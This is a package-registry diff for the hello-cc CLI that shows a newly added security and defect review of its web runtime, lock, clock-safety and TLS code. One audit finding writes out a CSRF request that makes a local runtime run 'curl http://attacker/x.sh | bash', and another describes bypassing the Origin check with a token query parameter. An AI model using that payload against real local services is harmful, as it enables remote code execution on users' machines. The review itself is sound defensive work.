@logicseek/hello-cc 0.1.8 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +117 -0
- package/README.md +26 -4
- package/README.zh-CN.md +22 -3
- package/bin/hcc.mjs +3 -5622
- package/docs/README.md +8 -0
- package/docs/README.zh-CN.md +6 -0
- package/docs/architecture.md +29 -18
- package/docs/architecture.zh-CN.md +20 -10
- package/docs/commands.md +16 -5
- package/docs/commands.zh-CN.md +16 -5
- package/docs/current-state-review-2026-08.md +341 -0
- package/docs/defect-review-2026-07.md +382 -0
- package/docs/guide.md +53 -5
- package/docs/guide.zh-CN.md +46 -3
- package/docs/superpowers/plans/2026-08-03-runtime-safety-plan.md +294 -0
- package/docs/superpowers/plans/2026-08-03-v1-data-identity-plan.md +400 -0
- package/docs/superpowers/plans/2026-08-03-v1-release-verification-plan.md +284 -0
- package/docs/superpowers/plans/2026-08-03-web-api-hardening-plan.md +303 -0
- package/docs/superpowers/plans/2026-08-04-runtime-buffer-gc-two-phase.md +71 -0
- package/docs/superpowers/specs/2026-08-03-runtime-safety-design.md +117 -0
- package/docs/superpowers/specs/2026-08-03-v1-data-identity-design.md +120 -0
- package/docs/superpowers/specs/2026-08-03-v1-release-verification-design.md +117 -0
- package/docs/superpowers/specs/2026-08-03-web-api-hardening-design.md +104 -0
- package/lib/cli/app.mjs +642 -0
- package/lib/cli/commands/coordination.mjs +247 -0
- package/lib/cli/commands/doctor.mjs +81 -0
- package/lib/cli/commands/gc.mjs +852 -0
- package/lib/cli/commands/hook.mjs +205 -0
- package/lib/cli/commands/install.mjs +294 -0
- package/lib/cli/commands/lifecycle.mjs +101 -0
- package/lib/cli/commands/lock.mjs +197 -0
- package/lib/cli/commands/misc.mjs +61 -0
- package/lib/cli/commands/msg.mjs +152 -0
- package/lib/cli/commands/peer.mjs +233 -0
- package/lib/cli/commands/query.mjs +96 -0
- package/lib/cli/commands/run.mjs +463 -0
- package/lib/cli/commands/task.mjs +405 -0
- package/lib/cli/commands/team.mjs +131 -0
- package/lib/cli/commands/tmux.mjs +838 -0
- package/lib/cli/commands/up.mjs +135 -0
- package/lib/cli-args.mjs +16 -2
- package/lib/coordination-state.mjs +112 -51
- package/lib/core/coordination/automation.mjs +5 -8
- package/lib/core/coordination/clock-safety.mjs +323 -0
- package/lib/core/coordination/event-retention.mjs +17 -0
- package/lib/core/coordination/gc-plan.mjs +614 -0
- package/lib/core/coordination/lease-renewal.mjs +102 -0
- package/lib/core/coordination/lock-evidence.mjs +77 -0
- package/lib/core/coordination/optimistic-evidence.mjs +26 -0
- package/lib/core/coordination/tasks.mjs +156 -36
- package/lib/core/peers/evidence-runtime.mjs +312 -0
- package/lib/core/peers/evidence.mjs +103 -0
- package/lib/core/peers/hook-owner.mjs +32 -0
- package/lib/core/peers/liveness.mjs +44 -4
- package/lib/core/peers/peer-helpers.mjs +121 -0
- package/lib/core/peers/session.mjs +8 -2
- package/lib/core/peers/tmux-safety.mjs +290 -0
- package/lib/core/sessions/launch.mjs +15 -1
- package/lib/db/connection.mjs +104 -0
- package/lib/db/events.mjs +34 -0
- package/lib/db/migration-backup.mjs +225 -0
- package/lib/db/schema.mjs +102 -5
- package/lib/db/stores/peers.mjs +34 -0
- package/lib/integrations/peers/identity.mjs +62 -16
- package/lib/integrations/shims/script.mjs +139 -15
- package/lib/process/identity.mjs +192 -0
- package/lib/process/pty-lifecycle.mjs +149 -0
- package/lib/runtime/buffer-directory-lease.mjs +47 -0
- package/lib/runtime/buffer-evidence.mjs +336 -0
- package/lib/runtime/buffer-gc-protocol.mjs +167 -0
- package/lib/runtime/buffer-gc.mjs +270 -0
- package/lib/runtime/client.mjs +61 -8
- package/lib/runtime/fatal-shutdown.mjs +54 -0
- package/lib/runtime/project-path.mjs +139 -0
- package/lib/runtime/projects.mjs +320 -40
- package/lib/runtime/state.mjs +232 -29
- package/lib/shared/cleanup-error.mjs +54 -0
- package/lib/shared/clock-grace.mjs +106 -0
- package/lib/shared/errors.mjs +9 -0
- package/lib/shared/file-lock.mjs +370 -0
- package/lib/shared/json-file.mjs +6 -2
- package/lib/shared/redact.mjs +60 -0
- package/lib/shared/socket-lock-worker.mjs +201 -0
- package/lib/terminal/tmux.mjs +78 -4
- package/lib/tmux.mjs +4 -0
- package/lib/ui/help.mjs +53 -15
- package/lib/web/api-version.mjs +42 -0
- package/lib/web/auto-attach.mjs +185 -0
- package/lib/web/buffer-gc-runtime.mjs +175 -0
- package/lib/web/cookie-auth.mjs +119 -0
- package/lib/web/external-sessions.mjs +254 -0
- package/lib/web/http-routes.mjs +542 -0
- package/lib/web/http.mjs +143 -7
- package/lib/web/liveness-reaper.mjs +145 -0
- package/lib/web/peer-actions.mjs +132 -23
- package/lib/web/project-contexts.mjs +178 -0
- package/lib/web/pty-sessions.mjs +203 -0
- package/lib/web/runtime-main.mjs +714 -0
- package/lib/web/runtime.mjs +91 -36
- package/lib/web/session-serialize.mjs +0 -0
- package/lib/web/startup.mjs +333 -0
- package/lib/web/tls.mjs +365 -0
- package/lib/web/tmux-sessions.mjs +1361 -0
- package/lib/web/tmux-stream.mjs +166 -0
- package/lib/web/ui-template.mjs +152 -20
- package/package.json +5 -2
- package/scripts/check-free-identifiers.mjs +290 -0
- package/scripts/regression.mjs +5646 -262
|
@@ -0,0 +1,341 @@
|
|
|
1
|
+
# hello-cc 当前状态审查报告(2026-08-04)
|
|
2
|
+
|
|
3
|
+
> **最终处置状态(2026-08-04):** 本文以下内容是修复前的审查快照,问题数量、代码行号和“当前树”描述不再代表现状。本文识别的已知可操作正确性、安全性和可靠性问题均已修复;目前没有遗留的已知可操作缺陷。
|
|
4
|
+
>
|
|
5
|
+
> 明确保留两项用户接受的部署风险:(1) 默认继续支持受信任内网的 `0.0.0.0` 明文 HTTP 访问;(2) 已认证浏览器继续可以输入任意服务器上已存在的目录,不增加根目录 allowlist。兼容性残留仅限完全缺少身份/产品字段的旧 runtime pointer 仍可读取;v1 新指针始终写入完整进程身份,未知身份的破坏性处理受 120 秒窗口和严格复核约束。`bin/hcc.mjs` 的模块拆分仍是架构债务,但不是当前已知正确性或安全缺陷。
|
|
6
|
+
>
|
|
7
|
+
> 最终验证:无缓存 Node 24.18.1/Linux 镜像内单测 351 项(350 通过、0 失败、1 个平台条件跳过);同一镜像独立完整回归 3 次,均为 13/13 且输出 `FULL_REGRESSION_OK`。
|
|
8
|
+
|
|
9
|
+
> 审查对象:分支 `fix/p0-hardening` 的**当前工作树** = 已提交的 v1 加固系列(12 commits:时钟安全/锁证据/乐观证据子系统、schema v7 + DB 备份、进程指纹、GC 保留、注册表序列化、buffer 仲裁)+ **未提交 diff**(代理感知安全、shim peer_hash、logout、action-token UI、TLS 运行时客户端)。
|
|
10
|
+
> 方法:6 领域并行审计 → 逐条对抗验证 → 综合。**45 项保留**(42 CONFIRMED + 3 PLAUSIBLE;高 5 / 中 16 / 低 24)。本机 + 容器(Node 24/Linux)回归 13/13 均绿——**测试绿 ≠ 无缺陷**,以下为测试未覆盖或语义层面的问题。
|
|
11
|
+
|
|
12
|
+
## 1. 执行摘要
|
|
13
|
+
|
|
14
|
+
当前树在**测试层面健康**(双环境 13/13),但深度审查发现三类实质问题:
|
|
15
|
+
|
|
16
|
+
1. **安全语义脱节(高)**。`--no-token` 回环运行时**无任何 CSRF 保护**(Origin 检查只在 cookie 模式运行)——恶意网页即可对 `http://localhost` 上的运行时执行任意命令(v1-csrf-tokenless,高);`?token=` 查询参数在所有路由可用且**静默禁用 cookie 模式的 CSRF 检查**(v1-token-query-csrf-bypass,中)。TLS 侧:`HCC_RUNTIME_URL=https` 覆盖路径会让所有 CLI 调用失败且 `hcc down` 谎报已停止(TLS-1,高);`hcc web` 不带 `--tls` 重跑会**静默停掉 TLS 运行时降级为明文**(TLS-2,高)。
|
|
17
|
+
2. **共享运行时可被无限挂起(高)**。`runTmux` 用无超时 `spawnSync`(xx-02,高)——卡死的 tmux 冻结整个运行时事件循环;请求热路径的注册表文件锁在主线程 `Atomics.wait`(xx-01,中);失败兄弟库迁移无负缓存,每条命令重付 5s 阻塞(xx-05,中)。
|
|
18
|
+
3. **v1 时钟安全子系统存在状态机缺陷(高)**。pending-gap 状态机让跨边界基线永久冻结,年龄型 GC 被永久推迟并开出虚假 grace 窗(CS-01,高);宽限期内过期锁行无法清除(CS-04)、ttl<=0 产生永久过期锁(CS-05)、不完整指纹的 peer 永远无法被证据判死(CS-06/v1-legacy)。
|
|
19
|
+
|
|
20
|
+
## 2. 严重问题排行(5 高 + 16 中)
|
|
21
|
+
|
|
22
|
+
| 等级 | 领域 | 问题 | 位置 | 后果 |
|
|
23
|
+
|---|---|---|---|---|
|
|
24
|
+
| **高** | Committed v1 | Pending-gap state machine freezes the boundary-crossing baseline forever, permanently deferring all age-based GC and opening spurious 120s grace windows | `lib/core/coordination/clock-safety.mjs:205` | A project with any regular hook/event activity runs the auto-GC (startup + every 6h, bin/hcc.mjs:3582-3583). Every run observes gcCutoffs newer than the frozen baseline -> enterGrace -> graceActive (bin/hcc.mjs:7727) -> `deferred_expired_locks = clockObservation.expiredLockCount`, history and buffer pruning skipped (bin/hcc.mjs:7765-7806, 7847-7859). Result: expired lock rows are never deleted, events/tasks/messages older than the retention window are never pruned, .hello-cc/bufs is never pruned, and WAL keeps growing — the exact unbounded growth GC was built to prevent (conc-05). The user-visible symptom of `hcc gc` is `deferred_age_based: true` with zero deletions on every run. Each deferring run also re-opens a 120s grace window during which lock acquisition of any expired lock fails (LOCK_HELD, see CS-04) and stale takeovers fail (TAKEOVER_POLICY). Additionally, the freeze makes every expired lock of a stale-but-live owner permanently 'crossed', so observeClockSafetyInTransaction's renewal (lines 298-305) re-extends those locks on every 30s reaper tick — locks of an alive-but-quiet peer effectively never expire. |
|
|
25
|
+
| **高** | Uncommitted diff | TLS runtime client fails closed on any runtime object without tls_cert; HCC_RUNTIME_URL=https override makes every CLI call fail and hcc down reports 'stopped' while the TLS runtime keeps running | `lib/web/runtime.mjs:109` | Machine A: `hcc web --tls` (prints https://<A-ip>:8787). Machine B: `HCC_RUNTIME_URL=https://<A-ip>:8787 HCC_RUNTIME_TOKEN=t hcc status` → UNABLE_TO_VERIFY_LEAF_SIGNATURE → RUNTIME_UNREACHABLE; probeRuntime returns false so status/reuse say 'not running'. Worse: `HCC_RUNTIME_URL=... hcc down` (bin/hcc.mjs:2779-2784) catches RUNTIME_UNREACHABLE, deletes local pointers and prints 'runtime stopped' — but the stop request never arrived, so the TLS runtime and its live token/terminal keep running on A, now orphaned with the operator believing it is down. Remote CLI control of a --tls runtime is impossible by design. |
|
|
26
|
+
| **高** | Uncommitted diff | `hcc web` re-run without --tls/--trust-proxy silently stops a running TLS runtime and restarts a plaintext one (idempotent-command security downgrade) | `lib/web/runtime.mjs:189` | User secures the control plane with `hcc web --tls` (and/or --trust-proxy). Later, from a script, another project dir, or habit, they run plain `hcc web` — the idempotent 'ensure it is up' command. The TLS runtime is killed and replaced with plaintext HTTP on the same port; token, session cookies (no Secure flag now) and the terminal stream go back to cleartext on the LAN, and the global runtime pointer is deleted mid-transition so other projects lose the tls_cert too. The operator is never asked to confirm the downgrade. |
|
|
27
|
+
| **高** | Committed v1 | CSRF/Origin check only runs in cookie mode: a malicious web page gets full RCE against a `--no-token` loopback runtime | `bin/hcc.mjs:5345` | User runs `hcc web --no-token` (loopback-only, e.g. for a quick local console). User visits attacker.com. The page fires `fetch('http://localhost:8787/api/sessions', {method:'POST', body: JSON.stringify({kind:'shell', command:'curl http://attacker/x.sh | bash'})})` (or a form POST) — Origin is `http://attacker.com`, authMode is 'token' (loopback trusted, no token required), no Origin check runs, and the shell command executes as the user. If a session already exists, `POST /api/sessions/<id>/input` injects keystrokes directly. |
|
|
28
|
+
| **高** | Cross-cutting | runTmux uses spawnSync with no timeout in the web runtime — a hung tmux freezes the entire shared runtime indefinitely | `lib/terminal/tmux.mjs:15` | A managed pane's process is stuck in uninterruptible sleep writing to a full pty. `tmux display-message`/`capture-pane` in the 100ms output poller hangs; the whole runtime event loop freezes — every project's terminal stream, WS delivery, and HTTP response stalls forever. There is no timeout to kill the child and no way for the operator to recover except killing the runtime. Any slow tmux (huge session lists in the reaper's list-sessions sweep) similarly stalls all projects. |
|
|
29
|
+
| **中** | Uncommitted diff | runtimeHttpRequest's timeoutMs default (8000) is silently ignored on the plaintext branch and probeRuntime passes no deadline at all — CLI commands hang indefinitely against a stalled HTTP runtime | `lib/web/runtime.mjs:102` | Runtime pid is alive but the process is SIGSTOPped or its event loop is wedged (accepts the TCP connection, never responds): `hcc down` (bin/hcc.mjs:2779), `hcc status`, `hcc reuse` and shim calls hang forever on the HTTP path; the identical runtime over TLS fails cleanly after 8s. Deadlines now depend on which scheme the runtime happens to use, and the helper's contract ('timeoutMs = 8000') is not honored on the branch most deployments use. |
|
|
30
|
+
| **中** | Committed v1 | During any grace window every expired lock row blocks acquisition regardless of owner evidence, and the row can never be cleared while GC is deferred | `lib/web/peer-actions.mjs:273` | A hook peer dies (pid gone -> evidence 'dead'). Its lock expires. The next reaper tick or GC run opens a 120s grace (CS-01). During that window peer B attempts to acquire the resource: the dead owner's expired lock row matches and graceActive is true -> LOCK_HELD, even though the owner is verifiably dead. When the grace lapses, B retries and the row is replaced — but if CS-01 keeps reopening grace (every GC run, or any unknown-evidence crossing of a stale peer), B is repeatedly denied for the resource an expired lock is protecting, indefinitely. |
|
|
31
|
+
| **中** | Committed v1 | intOpt accepts ttl <= 0, persisting ttl_sec <= 0 and producing expires_at = now + 0 (or past) locks that every renewal path keeps permanently expired | `lib/cli-args.mjs:84` | A web client sends ttl:0 (or a negative value, or 1e30 -> parseInt overflow truncation) on lock-acquire. The acquire response reports the lock held 'until <now>'; the lock is immediately expired, provides no protection once the owner's evidence is not live, and its renewal never extends it — while the owner believes it holds the lock. A heartbeat with ttl:0 actively kills the peer's own locks (expires_at = now, ttl_sec = 0), which then cannot be renewed by the hook path either. |
|
|
32
|
+
| **中** | Committed v1 | Peers whose stored process fingerprint is incomplete are permanently 'unknown' evidence and can never be reaped or have their locks released by evidence | `lib/core/peers/evidence.mjs:16` | The web runtime is started detached (parent shell exits immediately, or the client passes a dead pid); webPeerRegister (peer-actions.mjs:102-122) upserts with pid = that dead pid; liveProcessIdentity fails and no fingerprint is stored. When the runtime later dies, the peer row has a dead pid but evidence 'unknown' (not 'dead'): the reaper never transitions it to 'exited', status/state views show a stale peer forever, and any of its expired locks crossed by the reaper open grace windows (CS-01). |
|
|
33
|
+
| **中** | Uncommitted diff | sess-04 identity change has no alias/migration: resuming pre-upgrade sessions splits one conversation across two peer ids | `lib/core/peers/session.mjs:9` | Before upgrade: `claude --session-id 550e8400-...` creates peer `claude-550e8400` (running tmux session `hcc-<hash>-claude-550e8400`). After upgrade, the user resumes that session: shim derives `claude-652c4b4d` and creates a second tmux session; the old tmux session is still re-adopted under `claude-550e8400`; the session list shows two sessions for one conversation, and lock/takeover decisions for the conversation can be attributed to the stale peer while typing happens in the new one. |
|
|
34
|
+
| **中** | Uncommitted diff | Origin comparison fails when the browser serializes Origin without the default port: proxied cookie-mode writes get 403 CSRF_ORIGIN behind common proxy configs | `lib/web/http.mjs:103` | `hcc web --tls` on port 443 behind a same-host TLS proxy, or --trust-proxy with a proxy forwarding x-forwarded-host: example.com:443: the browser sends Origin: https://example.com (no port) and Host: example.com:443 → parsed.host 'example.com' !== host 'example.com:443' → every non-safe cookie-mode request (POST /api/*, /logout, terminal writes) is rejected with 403 CSRF_ORIGIN; the web UI is unusable in cookie mode even though TLS/CSRF are configured correctly. Fragile either way: if the proxy strips the port instead, the inverse mismatch occurs for the same deployment. |
|
|
35
|
+
| **中** | Uncommitted diff | shim peer_hash hard-dependency: on systems without openssl/sha1sum/shasum every session-id/resume/name launch silently bypasses hello-cc | `lib/integrations/shims/script.mjs:142` | A minimal container or stripped Linux (no openssl, no coreutils sha1sum, no perl/shasum), or a user whose PATH was modified, runs `claude --resume <id>` / `codex resume <id>`: peer_hash returns 1, the shim prints one stderr line and execs the real binary. The session runs with zero hcc integration (no tmux pane, no peer registration, no hooks context) — the user's other agents and the web console silently lose all visibility and coordination with that session. There is no error exit code and no retry; every launch fails the same way until the user manually installs a sha1 tool. |
|
|
36
|
+
| **中** | Uncommitted diff | Logout in one tab puts every other open tab into an infinite 2-second WebSocket reconnect storm | `lib/web/ui-template.mjs:1650` | User has the console open in two tabs, logs out in tab 1. Tab 2 immediately and permanently begins a 2s loop of WS upgrade attempts (each getting a 401 and being torn down), until the tab is closed. On a machine with several stale tabs this is continuous handshake noise against the runtime, and the tab never recovers on its own even if the user logs back in (it keeps using the stale session list). |
|
|
37
|
+
| **中** | Committed v1 | Migration backups are never rotated, pruned, or restorable, and accumulate a full DB copy on every failed/racing migration attempt | `lib/db/migration-backup.mjs:110` | A project DB at v6 with a migration that repeatedly fails (e.g., a row that trips the unique-index creation, or the process killed mid-migration). Every `hcc status`/`hcc peer` invocation (each is a fresh process) creates another full `.bak` (potentially hundreds of MB each) before failing, so disk usage grows without bound and the project becomes unusable (fail-closed: `connect()` throws, all commands fail) until the backups are manually discovered and deleted. Even in the healthy case, two racing processes (CLI + runtime) each publish a backup of every unmigrated DB, doubling disk usage per version bump, permanently. |
|
|
38
|
+
| **中** | Committed v1 | Web runtime event loop freezes up to 5s on a contended registry write: withFileLock waits with Atomics.wait on the main thread | `lib/shared/file-lock.mjs:677` | A user clicks 'Register Project' in the web UI while a CLI process (e.g., a `hcc run` hook or a slow `hcc register` on an NFS home) holds the registry lock. The single-threaded runtime freezes for up to 5 seconds: all PTY session I/O, tmux polling, WebSocket broadcasts, and heartbeat writes stop, then resume. Under repeated contention every API call that touches the registry incurs this stall; with a wedged-but-live holder the runtime is hard-stalled for the full 5s on each request. |
|
|
39
|
+
| **中** | Committed v1 | HCC_LAUNCH_FINGERPRINT / HCC_PROVIDER_STATE are forgeable from inside the session and the fingerprint hash is env-unstable — both gate destructive session restarts | `bin/hcc.mjs:4751` | (a) The shell inside a provider session runs `tmux set-environment HCC_PROVIDER_STATE exited` (or the wrapper crashes before clearing it); the next `hcc session start` on that id with `--restart-env`/provider binding sees 'exited' and kills the user's still-running session content. (b) User starts session A in one terminal, then runs the same start command with `--restart-env` from a different terminal (different TERM_SESSION_ID) — the fingerprint differs and the healthy unattached session is torn down and restarted. |
|
|
40
|
+
| **中** | Committed v1 | Peers with incomplete stored identities can never be proven dead: legacy rows are permanently stuck 'running' | `lib/core/peers/evidence.mjs:16` | User upgrades from 0.1.x; DB has a peer row created before v1 (pid set, pid_start_token NULL). The process dies. Every reaper tick and `hcc gc` computes evidence 'unknown' (stored-vs-stored check fails) and refuses to mark it exited — the phantom 'running' peer persists indefinitely, pollutes the UI/API, and blocks re-use of the peer id via `nextProjectSessionId`. |
|
|
41
|
+
| **中** | Committed v1 | `?token=` query-param auth is accepted on every route and silently disables the cookie-mode CSRF check | `lib/web/http.mjs:118` | A tokenized console URL is captured (browser history, shell scrollback of `hcc web` output, a paste into a chat). Any page the user then visits can POST with `?token=<captured>` appended to /api/peers/<id>/actions/*, /api/sessions, /api/runtime/stop, etc. — the cookie-mode Origin gate is bypassed because authMode is now 'token', and CSRF succeeds cross-origin without the attacker ever reading a response. |
|
|
42
|
+
| **中** | Cross-cutting | Main-thread Atomics.wait blocking in the per-request hot path: every web request takes the shared project-registry file lock | `bin/hcc.mjs:2897` | Two projects each run `hcc web`. The second runtime's `hcc status`/probe or a SIGSTOP'd CLI process holds the registry lock for a few seconds (or a stale-live holder is stuck). Every request to either runtime blocks the event loop for the full 5s deadline: all tmux output pollers (100ms), WS terminal streams, exit pollers, and the reaper freeze for 5s; requests then fail with ERR_FILE_LOCK_TIMEOUT -> 500 SERVER_ERROR. All projects' live terminals stall simultaneously. |
|
|
43
|
+
| **中** | Cross-cutting | Plaintext runtimeHttpRequest path has no timeout; probeRuntime can hang the CLI forever | `lib/web/runtime.mjs:102` | The existing runtime's event loop is frozen (see xx-01/xx-02: registry lock or tmux hang). The CLI runs `hcc web`; readHealthyGlobalRuntime's probe fetch never resolves and never rejects — the CLI hangs forever with no error, no timeout, no retry. The TLS path would have timed out after 8s; the plaintext path cannot. |
|
|
44
|
+
| **中** | Cross-cutting | migrateRegisteredProjectDbs retries uncached-failure sibling DBs on every connect(); a busy sibling stalls every request | `bin/hcc.mjs:820` | Project B's mesh.db is held in a long write transaction (or its disk is stalled). Every request to project A's runtime pays up to 5s opening/migrating B's DB; with the shared runtime this stalls A's terminal I/O too, and the failure repeats on every request because the failure is never cached. A corrupt B costs the same retry loop per request (fast throw, but repeated syscalls + initSchema on every connect). |
|
|
45
|
+
| **中** | Cross-cutting | Architectural: bin/hcc.mjs now 8457 lines; multi-project pollers still hardcoded to the primary ctx; master token never rotates | `bin/hcc.mjs:3055` | Any one of: a secondary project whose external sessions never get adopted (silent gap vs the primary's behavior); a token logged once (browser history, proxy logs, shell history from `hcc web --token ...`) grants indefinite remote access with no revocation short of restarting with a new token; and any future edit to the 8457-line file has a huge blast radius over the shared closures. |
|
|
46
|
+
|
|
47
|
+
> 全量 45 项见第 3 节;低危 24 项从略(见文件内)。
|
|
48
|
+
|
|
49
|
+
## 3. 分领域详细发现
|
|
50
|
+
|
|
51
|
+
### Committed v1: clock-safety / lock-evidence / optimistic-evidence subsystem
|
|
52
|
+
|
|
53
|
+
**CS-01(高) `lib/core/coordination/clock-safety.mjs:205` — Pending-gap state machine freezes the boundary-crossing baseline forever, permanently deferring all age-based GC and opening spurious 120s grace windows**
|
|
54
|
+
- 机理:Every observation (the reaper ticks every 30s at bin/hcc.mjs:3466, plus every heartbeat/acquire/GC) calls nextObservationGap, which for a normal tick returns {from: previous, to: current, first: false} (line 200). mergePendingGap (lines 205-214) then merges with the persisted gap using `from: Math.min(...)`, `to: Math.max(...)`, `first: persisted.first || observed.first`. The gap is only cleared when grace is entered (lines 287-289: `if (decision.enterGrace) { ... clearPendingGap(db); } else if (pendingGap) { writePendingGap(db, pendingGap); }`). So once any gap is persisted, `from` (and the `first: true` flag from the very first observation, line 180) never advance, and clockSafetyPreviewState (lines 240-245) computes `decisionPrevious = pendingGap?.first ? undefined : pendingGap?.from ?? previous` — permanently frozen in the past. Every subsequent candidate (any lock that expires after the freeze point) and every gcCutoff (which is always ≈ now − δ, i.e. newer than the freeze) is therefore always 'crossed', so decideClockSafety's gc branch (lines 99-107) returns {enterGrace: true, renewOwners: false} on essentially every GC run, and every unknown-evidence crossing opens a fresh CLOCK_GRACE_SEC window. Empirically confirmed with the committed modules (simulated reaper ticks + auto-GC): steady-state GC runs return {"enterGrace":true,"reason":"gc-cutoff"} every time, and a fresh DB returns reason 'first-observation'.
|
|
55
|
+
- 失败场景:A project with any regular hook/event activity runs the auto-GC (startup + every 6h, bin/hcc.mjs:3582-3583). Every run observes gcCutoffs newer than the frozen baseline -> enterGrace -> graceActive (bin/hcc.mjs:7727) -> `deferred_expired_locks = clockObservation.expiredLockCount`, history and buffer pruning skipped (bin/hcc.mjs:7765-7806, 7847-7859). Result: expired lock rows are never deleted, events/tasks/messages older than the retention window are never pruned, .hello-cc/bufs is never pruned, and WAL keeps growing — the exact unbounded growth GC was built to prevent (conc-05). The user-visible symptom of `hcc gc` is `deferred_age_based: true` with zero deletions on every run. Each deferring run also re-opens a 120s grace window during which lock acquisition of any expired lock fails (LOCK_HELD, see CS-04) and stale takeovers fail (TAKEOVER_POLICY). Additionally, the freeze makes every expired lock of a stale-but-live owner permanently 'crossed', so observeClockSafetyInTransaction's renewal (lines 298-305) re-extends those locks on every 30s reaper tick — locks of an alive-but-quiet peer effectively never expire.
|
|
56
|
+
- 修复:Consume the gap after each observation: reset the persisted gap so `from` tracks the current observation (e.g., store the gap only as (to, firstConsumed) and set decisionPrevious = previous when the gap's `to` is older than `previous`), or simply drop the pending gap when no jump was observed this tick (only persist it for jump ticks and read it once). Also clear `first` after the first observation that uses it.
|
|
57
|
+
- 验证:undefined
|
|
58
|
+
|
|
59
|
+
**CS-04(中) `lib/web/peer-actions.mjs:273` — During any grace window every expired lock row blocks acquisition regardless of owner evidence, and the row can never be cleared while GC is deferred**
|
|
60
|
+
- 机理:The acquire conflict test (lines 273-279): `const conflict = subject.locks.find((row) => row.owner !== peer && locksConflict(row, requested) && ( graceActive || Number(row.expires_at) > t || evidenceByOwner.get(row.owner)?.state === 'live' ));` — the `graceActive` term alone creates a conflict for EVERY conflicting lock row, including rows whose owner evidence is 'dead' (verified process gone). Because CS-01 makes grace windows frequent (every GC run, every unknown-evidence crossing), and because the GC that would delete expired rows is itself deferred by CS-01, there is no path that clears an expired lock row during the window: the reaper only reaps peers (never locks), lock-release requires the owner itself, and acquisition is blocked by exactly the row it would replace.
|
|
61
|
+
- 失败场景:A hook peer dies (pid gone -> evidence 'dead'). Its lock expires. The next reaper tick or GC run opens a 120s grace (CS-01). During that window peer B attempts to acquire the resource: the dead owner's expired lock row matches and graceActive is true -> LOCK_HELD, even though the owner is verifiably dead. When the grace lapses, B retries and the row is replaced — but if CS-01 keeps reopening grace (every GC run, or any unknown-evidence crossing of a stale peer), B is repeatedly denied for the resource an expired lock is protecting, indefinitely.
|
|
62
|
+
- 修复:Qualify the grace term with the absence of verified-dead evidence: conflict only when graceActive && evidenceByOwner.get(row.owner)?.state !== 'dead' (dead evidence is independent of wall clock), mirroring the evidence-first design of the rest of the subsystem.
|
|
63
|
+
- 验证:undefined
|
|
64
|
+
|
|
65
|
+
**CS-05(中) `lib/cli-args.mjs:84` — intOpt accepts ttl <= 0, persisting ttl_sec <= 0 and producing expires_at = now + 0 (or past) locks that every renewal path keeps permanently expired**
|
|
66
|
+
- 机理:intOpt (lines 84-89) does `Number.parseInt(...)` and only rejects non-finite values — 0 and negatives pass. webPeerLockAcquire uses `const ttl = intOpt(input, 'ttl', defaultLockTtl)` (web-peer-actions.mjs:238) and inserts `expires_at = t + ttl, ttl_sec = ttl` (line 303); webPeerHeartbeat uses `ttlOverride = input.ttl === undefined ? null : intOpt(input, 'ttl', defaultLockTtl)` (line 126) and writes `expires_at = t + ttlOverride, ttl_sec = ttlOverride` (lines 160-161). With ttl=0 the lock is born expired (expires_at = now), and ttl_sec = 0/negative is persisted. The schema migration only backfills invalid ttl_sec at migration time (schema.mjs:365-375); runtime-inserted values are untouched. All later renewal arithmetic then yields now+0 or now+negative: heartbeat `? + ttl_sec` (web-peer-actions.mjs:164), hook renewal `? + MIN(ttl_sec, 3600)` (bin/hcc.mjs:6407/6412), clock-safety renewal `MAX(expires_at, ? + ttl_sec)` (clock-safety.mjs:301).
|
|
67
|
+
- 失败场景:A web client sends ttl:0 (or a negative value, or 1e30 -> parseInt overflow truncation) on lock-acquire. The acquire response reports the lock held 'until <now>'; the lock is immediately expired, provides no protection once the owner's evidence is not live, and its renewal never extends it — while the owner believes it holds the lock. A heartbeat with ttl:0 actively kills the peer's own locks (expires_at = now, ttl_sec = 0), which then cannot be renewed by the hook path either.
|
|
68
|
+
- 修复:Reject ttl values that are not positive safe integers in intOpt (or at the acquire/heartbeat call sites with a dedicated positiveIntOpt, as already used for 'stale-after' and 'count' at web-peer-actions.mjs:190/216), and clamp/backfill ttl_sec at write time rather than only at migration.
|
|
69
|
+
- 验证:undefined
|
|
70
|
+
|
|
71
|
+
**CS-06(中) `lib/core/peers/evidence.mjs:16` — Peers whose stored process fingerprint is incomplete are permanently 'unknown' evidence and can never be reaped or have their locks released by evidence**
|
|
72
|
+
- 机理:processState (lines 15-23) first does `compareProcessIdentity(evidence.storedIdentity, evidence.storedIdentity) !== 'live'` — a self-comparison that returns 'unknown' whenever the STORED identity is incomplete (compareProcessIdentity, identity.mjs:155-160, requires pid > 0, a non-empty startToken, and a 64-hex commandHash). Stored fingerprints are only written at registration time by liveProcessIdentity (bin/hcc.mjs:886-892), which returns null when the pid is already dead or the platform probe fails (identity.mjs:147-152). Any peer registered under such conditions has pid_start_token = NULL and pid_command_hash = NULL forever (upsertPeer overwrites on every upsert, but the fingerprint is recomputed from the same dead pid each time, bin/hcc.mjs:885-888), so inspectProcessIdentity on the dead pid returning 'dead' never wins: processState short-circuits to 'unknown' before looking at current state. resolvePeerEvidence (lines 63-86) can only reach 'dead' via aggregateProcesses requiring every processState === 'dead' — unreachable for this class. Consequence: the reaper's mutateConfirmedDeadPeer requires evidence.state === 'dead' (bin/hcc.mjs:450), so these peers are never reaped and linger as stale 'running' peers; their expired-lock crossings are always 'unknown', feeding the spurious-grace paths of CS-01/CS-04.
|
|
73
|
+
- 失败场景:The web runtime is started detached (parent shell exits immediately, or the client passes a dead pid); webPeerRegister (peer-actions.mjs:102-122) upserts with pid = that dead pid; liveProcessIdentity fails and no fingerprint is stored. When the runtime later dies, the peer row has a dead pid but evidence 'unknown' (not 'dead'): the reaper never transitions it to 'exited', status/state views show a stale peer forever, and any of its expired locks crossed by the reaper open grace windows (CS-01).
|
|
74
|
+
- 修复:Distinguish 'identity unverifiable' from 'process missing': when the stored identity is incomplete but the pid probes dead, return 'dead' (the conservative, correct answer — a process that can't be fingerprinted and is not alive is dead), i.e., drop the self-comparison gate and decide from current state when the stored identity is incomplete. Optionally backfill fingerprints for legacy rows lazily on the next live observation.
|
|
75
|
+
- 验证:undefined
|
|
76
|
+
|
|
77
|
+
**CS-03(低 *(PLAUSIBLE)*) `lib/web/peer-actions.mjs:158` — webPeerHeartbeat lock renewal assigns expires_at = now + ttl instead of MAX(expires_at, ...), shortening lock grants and violating the monotonic renewal invariant used elsewhere**
|
|
78
|
+
